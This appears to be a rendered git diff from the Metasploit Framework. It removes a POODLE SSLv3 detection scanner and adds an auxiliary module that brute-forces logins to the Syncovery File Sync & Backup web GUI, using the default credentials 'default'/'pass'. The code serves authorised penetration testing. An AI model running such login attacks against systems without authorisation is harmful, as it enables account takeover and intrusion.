:key_size => public_key_size
|
||||
|
||||
}
|
||||
)
|
||||
|
||||
# Update the server hostname if necessary
|
||||
if vhostn !~ /localhost|snakeoil/i
|
||||
report_host(
|
||||
:host => ip,
|
||||
:name => vhostn
|
||||
)
|
||||
end
|
||||
|
||||
end
|
||||
else
|
||||
print_status("No certificate subject or common name found")
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,80 +0,0 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
# Exploit mixins should be called first
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
# Scanner mixin should be near last
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'HTTP SSL/TLS Version Detection (POODLE scanner)',
|
||||
'Description' => %q{
|
||||
Check if an HTTP server supports a given version of SSL/TLS.
|
||||
|
||||
If a web server can successfully establish an SSLv3 session, it is
|
||||
likely to be vulnerable to the POODLE attack described on
|
||||
October 14, 2014, as a patch against the attack is unlikely.
|
||||
},
|
||||
'Author' => 'todb',
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true,
|
||||
'RPORT' => 443,
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://security.googleblog.com/2014/10/this-poodle-bites-exploiting-ssl-30.html'],
|
||||
[ 'OSVDB', '113251'],
|
||||
[ 'CVE', '2014-3566']
|
||||
],
|
||||
'DisclosureDate' => 'Oct 14 2014'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::SSLVersion
|
||||
]
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
# Fingerprint a single host
|
||||
def run_host(ip)
|
||||
begin
|
||||
res = send_request_raw({ 'uri' => '/', 'method' => 'GET' })
|
||||
fp = http_fingerprint(:response => res)
|
||||
if fp
|
||||
vprint_status("#{peer} connected and fingerprinted: #{fp}")
|
||||
# TODO: Interrogate the connection itself to see what version
|
||||
# was used. Where that actually lives is eluding me. :/
|
||||
if datastore['SSL'] && datastore['SSLVersion'] == 'SSL3'
|
||||
print_good("#{peer} accepts SSLv3")
|
||||
report_poodle_vuln(ip)
|
||||
end
|
||||
end
|
||||
rescue ::OpenSSL::SSL::SSLError => e
|
||||
ssl_version = e.message.match(/ state=([^\s]+)/)[1]
|
||||
vprint_status("#{peer} does not accept #{ssl_version}")
|
||||
end
|
||||
end
|
||||
|
||||
def report_poodle_vuln(ip)
|
||||
report_vuln(
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:name => self.name,
|
||||
:info => "Module #{self.fullname} confirmed SSLv3 is available",
|
||||
:refs => self.references,
|
||||
:exploited_at => Time.now.utc
|
||||
)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,149 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'metasploit/framework/login_scanner/syncovery_file_sync_backup'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Syncovery For Linux Web-GUI Login Utility',
|
||||
'Description' => 'This module will attempt to authenticate to Syncovery File Sync & Backup Software For Linux Web-GUI.',
|
||||
'Author' => [ 'Jan Rude' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => []
|
||||
},
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 8999,
|
||||
'USERNAME' => 'default',
|
||||
'PASSWORD' => 'pass',
|
||||
'STOP_ON_SUCCESS' => true # There is only one user
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8999), # Default is HTTP: 8999; HTTPS: 8943
|
||||
OptString.new('USERNAME', [true, 'The username to Syncovery (default: default)', 'default']),
|
||||
OptString.new('PASSWORD', [false, 'The password to Syncovery (default: pass)', 'pass']),
|
||||
OptString.new('TARGETURI', [false, 'The path to Syncovery', '/'])
|
||||
]
|
||||
)
|
||||
|
||||
deregister_options('PASSWORD_SPRAY')
|
||||
end
|
||||
|
||||
def scanner(ip)
|
||||
@scanner ||= lambda {
|
||||
cred_collection = build_credential_collection(
|
||||
username: datastore['USERNAME'],
|
||||
password: datastore['PASSWORD']
|
||||
)
|
||||
|
||||
return Metasploit::Framework::LoginScanner::SyncoveryFileSyncBackup.new(
|
||||
configure_http_login_scanner(
|
||||
host: ip,
|
||||
port: datastore['RPORT'],
|
||||
uri: datastore['TARGETURI'],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5,
|
||||
http_username: datastore['HttpUsername'],
|
||||
http_password: datastore['HttpPassword']
|
||||
)
|
||||
)
|
||||
}.call
|
||||
end
|
||||
|
||||
def report_good_cred(ip, port, result)
|
||||
service_data = {
|
||||
address: ip,
|
||||
port: port,
|
||||
service_name: 'http',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: fullname,
|
||||
origin_type: :service,
|
||||
private_data: result.credential.private,
|
||||
private_type: :password,
|
||||
username: result.credential.public
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
last_attempted_at: DateTime.now,
|
||||
status: result.status,
|
||||
proof: result.proof
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def report_bad_cred(ip, rport, result)
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
public: result.credential.public,
|
||||
private: result.credential.private,
|
||||
realm_key: result.credential.realm_key,
|
||||
realm_value: result.credential.realm,
|
||||
status: result.status,
|
||||
proof: result.proof
|
||||
)
|
||||
end
|
||||
|
||||
# Attempts to login
|
||||
def bruteforce(ip)
|
||||
scanner(ip).scan! do |result|
|
||||
case result.status
|
||||
when Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
print_brute(level: :good, ip: ip, msg: "Success: '#{result.credential}'")
|
||||
report_good_cred(ip, rport, result)
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
vprint_brute(level: :verror, ip: ip, msg: result.proof)
|
||||
report_bad_cred(ip, rport, result)
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
vprint_brute(level: :verror, ip: ip, msg: "Failed: '#{result.credential}'")
|
||||
report_bad_cred(ip, rport, result)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Start here
|
||||
def run_host(ip)
|
||||
if scanner(ip).check_setup
|
||||
vprint_brute(level: :good, ip: ip, msg: 'Syncovery File Sync & Backup Software confirmed')
|
||||
else
|
||||
print_brute(level: :error, ip: ip, msg: 'Target is not Syncovery File Sync & Backup Software')
|
||||
return
|
||||
end
|
||||
|
||||
version = scanner(ip).get_version
|
||||
if !version
|
||||
vprint_brute(level: :error, ip: ip, msg: 'Unknown version')
|
||||
else
|
||||
vprint_brute(level: :good, ip: ip, msg: "Identified version: #{version}")
|
||||
end
|
||||
|
||||
bruteforce(ip)
|
||||
end
|
||||
end
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user